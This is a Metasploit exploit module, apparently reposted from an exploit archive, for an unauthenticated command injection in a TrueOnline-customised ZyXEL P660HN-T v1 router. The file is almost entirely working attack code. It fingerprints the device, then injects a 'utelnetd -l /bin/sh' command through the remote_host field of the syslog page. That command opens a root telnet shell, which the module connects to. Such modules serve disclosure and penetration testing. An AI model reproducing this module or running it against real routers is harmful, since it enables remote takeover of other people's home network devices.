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TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated Command Injection

Posted on 01 February 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated Command Injection',
'Description' => %q{
TrueOnline is a major ISP in Thailand, and it distributes a customised version of
the ZyXEL P660HN-T v1 router. This customised version has an unauthenticated command
injection vulnerability in the remote log forwarding page.
This module was tested in an emulated environment, as the author doesn't have access to the
Thai router any more. Any feedback should be sent directly to the module's author, as well as
to the Metasploit project.
There are other language strings in the firmware, so it is likely that this firmware is not only
distributed in Thailand. Other P660HN-T v1 in other countries might be vulnerable too.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'References' =>
[
['URL', 'http://seclists.org/fulldisclosure/2017/Jan/40'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt'],
['URL', 'https://blogs.securiteam.com/index.php/archives/2910']
],
'Targets' =>
[
[ 'P660HN-T v1', {}],
],
'Privileged' => true,
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DisclosureDate' => 'Dec 26 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptInt.new('TelnetPort', [true, "Telnet port we're going to use", 9999]),
], self.class)
end

def check
res = send_request_cgi!({
'uri' => '/cgi-bin/authorize.asp',
'method' => 'GET'
})
if res && res.body =~ /ZyXEL P-660HN-T1A/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end

def exploit
print_status("#{peer} - Attempting to exploit router...")
send_request_cgi({
'uri' => '/cgi-bin/ViewLog.asp',
'method' => 'POST',
'vars_post' => {
'remote_submit_Flag' => '1',
'remote_syslog_Flag' => '1',
'RemoteSyslogSupported' => '1',
'remote_host' => ";utelnetd -l /bin/sh -p #{datastore['TelnetPort']} -d;#",
'remoteSubmit' => 'Save'
}
})

sleep 5

begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['TelnetPort'], 'Context' => ctx, 'Timeout' => 10 })
if not sock.nil?
print_good("#{peer} - Success, shell incoming!")
return handler(sock)
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
end

fail_with(Failure::Unknown, "#{peer} - Failed to exploit router.")
end
end

 

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